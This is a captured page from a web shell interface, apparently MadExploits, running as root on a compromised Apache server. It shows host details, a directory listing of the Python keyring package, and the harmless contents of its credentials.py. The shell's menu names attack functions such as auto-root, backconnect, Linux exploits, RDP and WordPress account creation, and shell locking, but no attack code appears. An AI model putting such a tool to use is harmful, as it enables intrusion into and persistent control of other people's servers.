Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
keyring /
[ HOME SHELL ]
Name
Size
Permission
Action
backends
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
__init__.py
277
B
-rw-r--r--
__init__.pyc
494
B
-rw-r--r--
__main__.py
70
B
-rw-r--r--
__main__.pyc
254
B
-rw-r--r--
backend.py
5.93
KB
-rw-r--r--
backend.pyc
8
KB
-rw-r--r--
cli.py
4.13
KB
-rw-r--r--
cli.pyc
4.26
KB
-rw-r--r--
core.py
4.96
KB
-rw-r--r--
core.pyc
6.31
KB
-rw-r--r--
credentials.py
1.34
KB
-rw-r--r--
credentials.pyc
2.93
KB
-rw-r--r--
devpi_client.py
199
B
-rw-r--r--
devpi_client.pyc
506
B
-rw-r--r--
errors.py
1.36
KB
-rw-r--r--
errors.pyc
3.06
KB
-rw-r--r--
http.py
1.24
KB
-rw-r--r--
http.pyc
1.92
KB
-rw-r--r--
py27compat.py
1.06
KB
-rw-r--r--
py27compat.pyc
1.46
KB
-rw-r--r--
py32compat.py
107
B
-rw-r--r--
py32compat.pyc
282
B
-rw-r--r--
py33compat.py
660
B
-rw-r--r--
py33compat.pyc
943
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : credentials.py
import os import abc from .py27compat import add_metaclass __metaclass__ = type @add_metaclass(abc.ABCMeta) class Credential: """Abstract class to manage credentials """ @abc.abstractproperty def username(self): return None @abc.abstractproperty def password(self): return None class SimpleCredential(Credential): """Simple credentials implementation """ def __init__(self, username, password): self._username = username self._password = password @property def username(self): return self._username @property def password(self): return self._password class EnvironCredential(Credential): """Source credentials from environment variables. Actual sourcing is deferred until requested. """ def __init__(self, user_env_var, pwd_env_var): self.user_env_var = user_env_var self.pwd_env_var = pwd_env_var def _get_env(self, env_var): """Helper to read an environment variable """ value = os.environ.get(env_var) if not value: raise ValueError('Missing environment variable:%s' % env_var) return value @property def username(self): return self._get_env(self.user_env_var) @property def password(self): return self._get_env(self.pwd_env_var)
Close